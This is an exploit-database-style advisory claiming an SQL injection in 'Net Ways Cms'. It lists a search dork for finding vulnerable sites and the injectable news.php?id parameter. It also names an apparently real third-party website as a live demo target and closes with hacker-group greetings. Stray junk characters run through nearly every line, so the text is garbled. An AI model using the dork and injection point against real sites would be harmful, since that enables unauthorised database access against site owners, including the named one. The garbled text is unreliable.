################################################################################??########
$ c9 s5 @6 C, B# 8 M1 t( w. D' M
# Exploit Title : Net Ways Cms Sql Injection Vulnerability 2 K( p8 h* y) g9 c! v9 s0 n0 R* q8 e6 ^
# 1 r- r) T4 v6 I" v5 y; ?6 B
# Author : IrIsT.Ir 6 `$ d/ s/ t c9 X6 c9 p' X
#
3 g( n A( ~! T( m8 z: X7 K4 E# Discovered By : Am!r # Z7 b+ X. p3 l( \( ^: ?
# : T, K+ ~4 i; X0 d# m
# Home : http://IrIsT.Ir/forum
8 N5 _' z+ K" z7 l#
" @0 f2 K6 a6 m. X# Software Link : http://www.netways.com/ www.political-security.com: v0 c& \# R H9 @ p/ C4 e
#
6 ~4 X# i9 H* s. }# Security Risk : High
! W) q& a, V% C% R0 ^6 v#
" h, q4 u0 U9 W# Version : All Version # T, w! Q& @0 j+ I6 a0 W3 z
# / Z) y* Z0 p5 z9 j; B9 ]
# Tested on : GNU/Linux Ubuntu - Windows Server - win7
" w2 k/ R0 v# F$ F' M#
$ Z( R" e- Y2 E# Dork : intext:"Designed & developed by NetWays"
0 R0 C( I5 _. n; c$ y# 5 u- T$ i; c0 ]4 R
################################################################################??########
2 M+ m6 M& u5 G* {# \: q$ @# & h& n0 S0 ?2 T+ f! Y: h" `
# Expl0iTs : ' C8 \/ Z8 |, Q% U: l
#
$ z& _' f3 f8 `# http://target.com/news.php?id=[Sql]
) R7 s9 K: b% e8 x: ^: x# * j$ M. _ \, o" C. K T
# 1 ~. X3 c9 D) l& S5 Q+ Y8 s
# D3mo :
+ K4 h7 X B) y- e1 o( t4 A#
4 e5 J3 O, S2 N# l- q' p# http://compagnieparento.com/news.php?id=7[Sql]
. b S. u, L. I; b" Y5 S#
; S5 H% R( o! o2 I################################################################################??########
1 p! G% W8 n0 ~; G( `. R# 8 i4 j$ m* e( _ R1 H
# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r
% T1 _% _ p+ W+ ^. B# ! ^+ i( `! N1 L5 J+ n; g
# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r
! ~$ _8 F& T# H6 n5 y* l# 0 U5 `+ x# ^. S2 J3 ?0 u* p) B w) ?
# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum
* d' c3 R3 Q) Q% {#
% u* c* |: c4 ^8 y################################################################################??######## |